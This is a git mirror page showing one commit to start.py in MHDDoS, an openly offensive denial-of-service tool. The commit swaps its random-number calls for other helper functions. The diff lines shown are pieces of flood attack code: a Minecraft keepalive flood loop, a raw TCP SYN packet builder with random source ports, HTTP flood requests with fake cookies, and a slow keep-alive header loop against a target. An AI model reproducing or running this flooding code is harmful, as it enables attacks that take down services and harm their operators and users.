mirror of
https://github.com/MatrixTM/MHDDoS.git
synced 2024-11-16 11:42:42 +08:00
Update start.py
This commit is contained in:
parent
3d38bb48b3
commit
4a3f7ad14e
13
start.py
13
start.py
|
@ -9,8 +9,7 @@ from math import log2, trunc
|
||||||
from multiprocessing import RawValue
|
from multiprocessing import RawValue
|
||||||
from os import urandom as randbytes
|
from os import urandom as randbytes
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from random import choice as randchoice
|
from secrets import choice as randchoice
|
||||||
from random import randint
|
|
||||||
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM,
|
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM,
|
||||||
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
|
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
|
||||||
gethostname, socket)
|
gethostname, socket)
|
||||||
|
@ -156,7 +155,7 @@ class Tools:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def randchr(lengh: int) -> str:
|
def randchr(lengh: int) -> str:
|
||||||
return "".join([chr(randint(0, 1000)) for _ in range(lengh)]).strip()
|
return str(ProxyTools.Tools.rand_char(lengh)).strip()
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def send(sock: socket, packet: bytes):
|
def send(sock: socket, packet: bytes):
|
||||||
|
@ -412,7 +411,7 @@ class Layer4(Thread):
|
||||||
sleep(1.5)
|
sleep(1.5)
|
||||||
|
|
||||||
c = 360
|
c = 360
|
||||||
while Tools.send(s, Minecraft.keepalive(randint(1111111, 9999999))):
|
while Tools.send(s, Minecraft.keepalive(ProxyTools.Random.rand_int(1111111, 9999999))):
|
||||||
c -= 1
|
c -= 1
|
||||||
if c:
|
if c:
|
||||||
continue
|
continue
|
||||||
|
@ -463,7 +462,7 @@ class Layer4(Thread):
|
||||||
tcp: TCP = TCP()
|
tcp: TCP = TCP()
|
||||||
tcp.set_SYN()
|
tcp.set_SYN()
|
||||||
tcp.set_th_dport(self._target[1])
|
tcp.set_th_dport(self._target[1])
|
||||||
tcp.set_th_sport(randint(1, 65535))
|
tcp.set_th_sport(ProxyTools.Random.rand_int(1, 65535))
|
||||||
ip.contains(tcp)
|
ip.contains(tcp)
|
||||||
return ip.get_packet()
|
return ip.get_packet()
|
||||||
|
|
||||||
|
@ -647,7 +646,7 @@ class HttpFlood(Thread):
|
||||||
" _gat=1;"
|
" _gat=1;"
|
||||||
" __cfduid=dc232334gwdsd23434542342342342475611928;"
|
" __cfduid=dc232334gwdsd23434542342342342475611928;"
|
||||||
" %s=%s\r\n" %
|
" %s=%s\r\n" %
|
||||||
(randint(1000, 99999), ProxyTools.Random.rand_str(6),
|
(ProxyTools.Random.rand_int(1000, 99999), ProxyTools.Random.rand_str(6),
|
||||||
ProxyTools.Random.rand_str(32)))
|
ProxyTools.Random.rand_str(32)))
|
||||||
s = None
|
s = None
|
||||||
with suppress(Exception), self.open_connection() as s:
|
with suppress(Exception), self.open_connection() as s:
|
||||||
|
@ -921,7 +920,7 @@ class HttpFlood(Thread):
|
||||||
Tools.send(s, payload)
|
Tools.send(s, payload)
|
||||||
while Tools.send(s, payload) and s.recv(1):
|
while Tools.send(s, payload) and s.recv(1):
|
||||||
for i in range(self._rpc):
|
for i in range(self._rpc):
|
||||||
keep = str.encode("X-a: %d\r\n" % randint(1, 5000))
|
keep = str.encode("X-a: %d\r\n" % ProxyTools.Random.rand_int(1, 5000))
|
||||||
Tools.send(s, keep)
|
Tools.send(s, keep)
|
||||||
sleep(self._rpc / 15)
|
sleep(self._rpc / 15)
|
||||||
break
|
break
|
||||||
|
|
Loading…
Reference in New Issue
Block a user